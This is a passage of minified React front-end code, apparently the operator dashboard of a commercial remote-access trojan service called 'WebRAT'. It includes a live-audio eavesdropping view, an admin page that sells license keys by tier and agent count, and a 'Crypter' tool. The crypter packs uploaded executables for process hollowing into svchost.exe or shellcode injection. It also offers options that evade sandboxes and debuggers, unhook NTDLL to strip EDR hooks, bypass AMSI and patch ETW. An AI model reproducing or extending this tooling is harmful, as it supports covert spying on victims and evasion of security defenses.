24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),s.jsx("div",{className:"flex-1"}),s.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:s.jsxs("div",{className:"flex flex-col items-center gap-8",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:s.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&s.jsx(s.Fragment,{children:s.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&s.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const pV=4294967295;function mV(e){return e>=pV-86400}function kp(e){return mV(e)?"Never":new Date(e*1e3).toLocaleString()}function M2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function hV({role:e}){const t=e==="admin";return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function xV(){const[e,t]=p.useState("keys"),[n,r]=p.useState([]),[i,a]=p.useState([]),[o,l]=p.useState(!0),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState("7d"),[x,g]=p.useState("0"),[y,v]=p.useState("rat"),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,_]=p.useState(null),[A,O]=p.useState(null),[P,I]=p.useState("30d"),[U,D]=p.useState(!1),[M,F]=p.useState(null),[R,W]=p.useState("rat"),[$,H]=p.useState(!1),X=p.useCallback(async()=>{try{const C=await ZE();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),se=p.useCallback(async()=>{try{const C=await eA();a(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);p.useEffect(()=>{l(!0),Promise.all([X(),se()]).finally(()=>l(!1))},[X,se]);const ue=async C=>{C.preventDefault(),w(!0),u("");try{const K=await QE({duration:m,max_agents:parseInt(x)||0,tier:y});k(K.key),N(!1),await X()}catch(K){u(K instanceof Error?K.message:"Failed to generate key")}finally{w(!1)}},ge=async C=>{u("");try{await JE(C),_(null),await X()}catch(K){u(K instanceof Error?K.message:"Failed to revoke key")}},xe=async()=>{if(A){D(!0),u("");try{await tA(A.id,P),O(null),await se()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{D(!1)}}},Y=async()=>{if(M){H(!0),u("");try{await nA(M.id,R),F(null),await se()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{H(!1)}}},ee=()=>{navigator.clipboard.writeText(j),N(!0),setTimeout(()=>N(!1),2e3)};return s.jsxs("div",{className:"p-6 space-y-6",children:[s.jsx("div",{className:"flex items-center justify-between",children:s.jsxs("div",{children:[s.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),s.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),s.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[s.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),s.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&s.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,s.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:()=>{f(!d),k("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),s.jsx("button",{onClick:X,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[s.jsxs("form",{onSubmit:ue,className:"space-y-3",children:[s.jsxs("div",{className:"flex items-end gap-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),s.jsx("input",{type:"text",value:m,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),s.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),s.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${m===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r text-zerin-accent break-all select-all`,children:j}),s.jsx("button",{onClick:ee,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors shrink-0`,children:S?"Copied!":"Copy"})]}),s.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(M2,{status:C.status})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:kp(C.created_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:kp(C.expires_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),s.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?z===C.key_id?s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{onClick:()=>ge(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r hover:bg-red-500/10 transition-colors`,children:"Confirm"}),s.jsx("button",{onClick:()=>_(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):s.jsx("button",{onClick:()=>_(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r hover:bg-red-500/10 transition-colors`,children:"Revoke"}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):s.jsxs("div",{className:"space-y-4",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsx("button",{onClick:se,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(hV,{role:C.role})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3",children:C.license_status?s.jsx(M2,{status:C.license_status}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?kp(C.license_expires_at):"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{onClick:()=>{O(C),I("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),s.jsx("button",{onClick:()=>{F(C),W(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),A&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>O(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",s.jsx("span",{className:"text-zerin-accent",children:A.username})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),s.jsx("input",{type:"text",value:P,onChange:C=>I(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{onClick:()=>I(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:xe,disabled:U,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:U?"Extending...":"Add Time"}),s.jsx("button",{onClick:()=>O(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),M&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>F(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",s.jsx("span",{className:"text-zerin-accent",children:M.username})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{onClick:()=>W("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${R==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{onClick:()=>W("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${R==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:Y,disabled:$,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:$?"Updating...":"Update Tier"}),s.jsx("button",{onClick:()=>F(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function vV(){const{isAdmin:e}=ls(),n=sj()==="rat_crypter"||e,[r,i]=p.useState(null),[a,o]=p.useState("runpe"),[l,c]=p.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=p.useState(0),[f,m]=p.useState(!0),[h,x]=p.useState(!0),[g,y]=p.useState(!0),[v,b]=p.useState(!0),[w,j]=p.useState(!0),[k,S]=p.useState(!1),[N,z]=p.useState(0),[_,A]=p.useState(""),[O,P]=p.useState(!1),I=p.useRef(null),U=p.useCallback(M=>{M.preventDefault(),P(!1);const F=M.dataTransfer.files[0];F&&i(F)},[]),D=p.useCallback(async()=>{if(!(!r||k)){S(!0),A(""),z(5);try{const M=new FormData;M.append("file",r),M.append("mode",a),M.append("target_process",l),M.append("sleep_seconds",u.toString()),M.append("anti_sandbox",f.toString()),M.append("anti_debug",h.toString()),M.append("unhook_ntdll",g.toString()),M.append("amsi_bypass",v.toString()),M.append("etw_patch",w.toString()),z(20);const F=setInterval(()=>{z(H=>Math.min(H+5,85))},2e3),R=await XE(M);clearInterval(F),z(100);const W=URL.createObjectURL(R),$=document.createElement("a");$.href=W,$.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild($),$.click(),document.body.removeChild($),URL.revokeObjectURL(W),setTimeout(()=>z(0),2e3)}catch(M){A(M.message||"Build failed"),z(0)}finally{S(!1)}}},[r,k,a,l,u,f,h,g,v,w]);return n?s.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[s.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),s.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer ${O?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"} ${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:M=>{M.preventDefault(),P(!0)},onDragLeave:()=>P(!1),onDrop:U,onClick:()=>{var M;return(M=I.current)==null?void 0:M.click()},children:[s.jsx("input",{ref:I,type:"file",accept:".exe",className:"hidden",onChange:M=>{var R;const F=(R=M.target.files)==null?void 0:R[0];F&&i(F)}}),r?s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),s.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),s.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),s.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${a==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),s.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${a==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),a==="runpe"&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),s.jsx("input",{type:"text",value:l,onChange:M=>c(M.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),s.jsx("input",{type:"number",min:0,max:300,value:u,onChange:M=>d(Math.max(0,parseInt(M.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),s.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),s.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox detection",value:f,set:m},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Remove EDR hooks",value:g,set:y},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession",value:v,set:b},{key:"etw_patch",label:"ETW Patch",desc:"Disable ETW tracing",value:w,set:j}].map(({key:M,label:F,desc:R,value:W,set:$})=>s.jsxs("label",{className:`flex items-start gap-2.5 p-2.5 border cursor-pointer transition-colors ${W?"border-zerin-accent/30 bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:W,onChange:H=>$(H.target.checked),className:"mt-0.5 accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-sm font-mono text-zerin-text",children:F}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted",children:R})]})]},M))})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("button",{onClick:D,disabled:!r||k,className:`w-full py-3 font-mono font-semibold text-sm transition-all duration-300 ${!r||k?"bg-zerin-panel border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_20px_rgba(6,182,212,0.3)]"}`,children:k?"Crypting...":"Crypt"}),(k||N>0)&&s.jsxs("div",{children:[s.jsx("div",{className:"h-1 bg-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-500",style:{width:`${N}%`}})}),s.jsxs("div",{className:"flex justify-between mt-1",children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:N<20?"Preparing...":N<50?"Encrypting payload...":N<85?"Compiling stub...":N<100?"Finalizing...":"Complete!"}),s.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:[N,"%"]})]})]}),_&&s.jsx("div",{className:"p-3 border border-red-500/20 bg-red-500/5 text-red-400 text-sm font-mono",children:_})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 text-xs text-zerin-text-muted space-y-1.5 font-mono",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"XOR + AES-256-CBC layered encryption"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Random keys per build — no shared signatures"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Fire-and-forget — no files stored on server"})]})]})]})]})]}):s.jsx("div",{className:"p-6 max-w-2xl mx-auto mt-20",children:s.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"px-8 py-12 text-center",children:[s.jsx("svg",{className:"w-12 h-12 mx-auto mb-4 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})}),s.jsx("h2",{className:"font-display text-xl font-bold text-zerin-text mb-2",children:"Crypter — Premium Feature"}),s.jsx("p",{className:"text-zerin-text-muted 